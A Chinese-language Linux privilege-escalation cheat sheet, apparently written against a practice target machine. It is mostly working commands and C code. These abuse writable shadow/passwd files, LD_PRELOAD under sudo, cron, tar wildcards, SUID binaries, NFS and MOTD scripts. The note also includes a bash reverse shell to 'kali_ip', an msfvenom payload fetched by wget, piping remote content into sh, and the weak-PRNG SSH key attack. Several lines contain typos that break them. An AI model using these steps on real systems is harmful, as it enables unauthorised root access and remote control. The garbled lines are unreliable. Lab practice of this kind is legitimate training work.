可读 shadow 文件利用提权
1 2 3 4 5 6
| cat /etc/shadow
cat /etc/shadow | grep ':\$'
john破解
|
可写 shadow 文件利用提权
将 shadow 的密码修改成自己的
1 2 3 4 5 6 7 8 9 10 11 12
| ls -liah /etc/shadow cp /etc/shadow /tmp/shadow.bak
cat /etc/shadow hash-identifier
mkpasswd -m sha-512 123456 $6$Lid/xm1LZzVYKuTj$O/L/d/SMOIHOImqqMY4/kydl.DWM3lgxBrcPGK185a96xTNLRt39XEcawDRxxYUz9VWYdZDoOLjdpcufgvQ611
把生成的密码替换shadow的root密码就好了
|
可写 passwd 文件利用提权
1 2
| ls -liah /etc/passwd cat /etc/passwd
|

直接构造 x
1 2 3 4 5
| cp /etc/passwd /tmp/passwd.bak
openssl passwd 123456 $1$ONOCKRx9$3cr2QuzM0INBeuBjRZ69k. 将生成的密码替代passwd中的x
|
sudo 环境变量提权

env_reset:重置环境变量,linux 的一条安全属性
env_keep+=LD_PRELOAD:在保持原有环境变量的同时,增加动态连接器(linker dynamic)预加载共享库功能(利用点)
写一个 恶意 共享库
1 2 3 4 5 6 7 8 9 10 11 12
| #include <stdio.h> #include <sys/type.h> #include <stdlib.h>
void _init(){ unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/bash"); }
|
1 2 3 4 5 6
| gcc -fPIC -shared -o shell.so shell.c -nostartfiles ls sudo -l sudo LD_PERLOAD=/shell.so <sudo可以直接运行的命令> 成功
|
自动任务文件权限提权
查看自动任务,设置自定义自动任务的 path 在原始 path 之前,达到提权。

1 2
| locate overwrite.sh /usr/local/bin/overwrite.sh
|
在/home/user/ 目录下创建文件
1 2 3 4 5 6
| vim overwrite.sh
cp /bin/bash /tmp/rootbash chmod +xs /tmp/rootbash
|
1 2
| chmod +x overwrite.sh /tmp/rootbash -p
|
自动任务通配符提权
1
| cat /etc/crontab # 看自动任务
|

使用 tar 命令的 checkpoint 提权
1 2
| #构造反弹shell sudo msfvenom -p linux/x64/shell_reverse_tcp LGOST=[kali_ip] LPORT=4444 -f elf -o shell.elf
|

1 2 3
| # 架设一个web服务 sudo php -S 0:80 sudo nc -lvnp 444 #开启监听
|
1 2 3 4 5 6
| wget http://kali_ip/shell.elf # 靶机下载 chmod +xs shell.elf # 赋予权限
/home/user目录下: touch /home/user/--checkpoint=1 touch /home/user/--checkpoint-action=exec=shell.elf
|
成功
SUID 可执行文件已知利用提权
SUID 的作用:当用户执行此类文件时,程序会以文件所有者的权限运行(例如所有者是 root 时,普通用户执行该程序会临时获得 root 权限)
1 2 3 4 5 6
| find / -perm -u=s -type f 2>/dev/null
从根目录开始递归所有子目录 -perm -u=s 匹配设置了suid位的文件(即所有者的执行权限是s而非x) -type f 搜索普通文件 2>/dev/null 丢弃所有报错
|
关注:/usr/sbin/exim-version
1 2
| searchsploit exim -m # 下载exp sudo php -S 0:80
|
1
| wget http://kali_ip/exp.sh
|
1 2 3
| chmod +x exp.sh ./exp.sh 提权成功
|
SUID 共享库注入提权
1
| find / -perm -u=s -type f 2>/dev/null
|
关注:/usr/loacl/bin/suid-so
1
| strace /usr/loacal/bin/suid-so 2>&1 # strace是linux下的一个调试工具,用于追踪进程的系统调用和信号
|

发现有一个报错是找不到/home/user/.config/libcalc.so 文件。
那么我们在这个路径下就可以创建一个 libcalc.so 文件
1 2 3 4 5 6 7 8 9 10 11
| #include <stdio.h> #include <stdlib.h>
static void inject() __attribute__((constructor));
void inject(){ setgid(0); setuid(0); system("/bin/bash -p"); }
|
1 2 3
| gcc -shared -fPIC -o libcalc.so libcalc.c /usr/local/bin/suid-so 提权成功
|
SUID 环境变量利用提权
1
| find / -perm -u=s -type f 2>/dev/null
|
关注:/usr/local/bin/suid-env
1 2
| /usr/local/bin/suid-env strings /usr/loacl/bin/suid-env
|

service 在编译的时候没有指定路径,说明去 path 中查找
1 2 3 4 5 6 7 8 9
| #include<stdio.h> #include<stdlib.h>
void main(){ setgid(0); setuid(0); system("/bin/bash -p"); }
|
1 2 3 4 5 6 7
| gcc -o service service.c
echo $PATH export PATH=.:$PATH /usr/local/bin/suid-env 成功
|
巧用 SUID-shell 功能提权
1 2
| find / -perm -u=s -type f 2>/dev/null strings /usr/local/bin/suid-env2
|
关注:/usr/sbin/service apache2 start
方法一:
1 2 3 4
| function /usr/sbin/service { /bin/bash -p; } export -f /usr/sbin/service /usr/local/bin/suid-env2 成功
|
方法二:
1 2 3 4 5
|
env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash;chmod +xs /tmp/rootbash)' /usr/local/bin/suid-env2 /tmp/rootbash -p 成功
|
密码和密钥历史文件提权
查看历史命令,会泄露一些密码,就比如 mysql 登录的密码等
1 2 3
| history cat ~/.*history | less
|
密码和密钥配置文件查看提权
1 2
| ls -liah 详细查看配置文件,网站,可能连接到配置文件的信息
|

SSH 密钥敏感信息提权
1 2 3 4 5
| ls -liah cd /
cd ssh cat root_key
|


NFS 提权
Network File System 是一种共享文件模式

1 2
| mkdir /tmp/nfs mount -o rw,vers=3 靶机_ip:/tmp /tmp/nfs
|


1 2 3 4
| msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
chmod +xs shell.elf
|
1 2 3 4
| cd /tmp ls ./shell.elf 成功
|
内核利用提权
使用 linpeas.sh 对内核进行扫描(peass-ng 项目)
1 2
| wget https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS sudo nc -lvnp 80 < linpeas.sh
|
1 2 3
| cat < /dev/tcp/kali_ip/80 | sh
根据扫描结果进行渗透
|
doas less + vi 提权
1 2
| find / -group user -type f 2>/dev/null find / -perm -u=s -type f 2>/dev/null
|
关注:/etc/doas.conf

看这个使用用法
1
| doas /usr/bin/less /var/log/authlog
|
进入日志界面

键盘摁 V,进入编辑状态。
esc -> :!sh
成功
利用 MOTD 机制提权
motd 是全局性的,而且是脚本执行性质的
1 2 3 4 5 6 7
| cd /etc/update-motd.d ls cat 00-header vim 00-header
bash -c "bash -i >& /dev/tcp/kali_ip/4444 0>&1"
|
1 2 3
| sudo nc -lvnp 4444 sudo ssh 普通用户@靶机ip 成功
|
可预测 PRNG 暴力破解 SSH 提权
如何把公钥利用起来(公钥在服务器中,私钥在管理员手中)
prng:pseudo random number generator
情景:目前拿到了 ssh 的公钥,但是没有私钥,如果我们可以有私钥的话就可以登录这台靶机。
1
| sudo perl 2017.pl 10.10.10.25 10000 /home/vmware/.ssh/authorized_keys 0
|

使用 5622.txt
1 2 3 4
|
wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2 sudo tar -vjxf 5622.tar.bz2
|

搜索公钥中与靶机公钥同名的文件,然后再对应私钥,就可以破解
1 2 3 4
| cd /rsa/2048 sudo grep -lr "靶机中的部分公钥"
|
1 2 3 4 5 6 7 8 9 10 11 12
| sudo cp abc ../../ sudo ssh -i abc 普通用户@靶机ip
调试过程:
sudo ssh -i abc 普通用户@靶机ip -oHostKeyAlgorithms=ssh-rsa,ssh-dss sudo ssh -i abc 普通用户@靶机ip -oHostKeyAlgorithms=ssh-rsa,ssh-dss -vv
sudo ssh -i abc 普通用户@靶机ip -oHostKeyAlgorithms=ssh-rsa,ssh-dsa -oPubkeyAcceptedKeyTypes=ssh-rsa,ssh-dss
|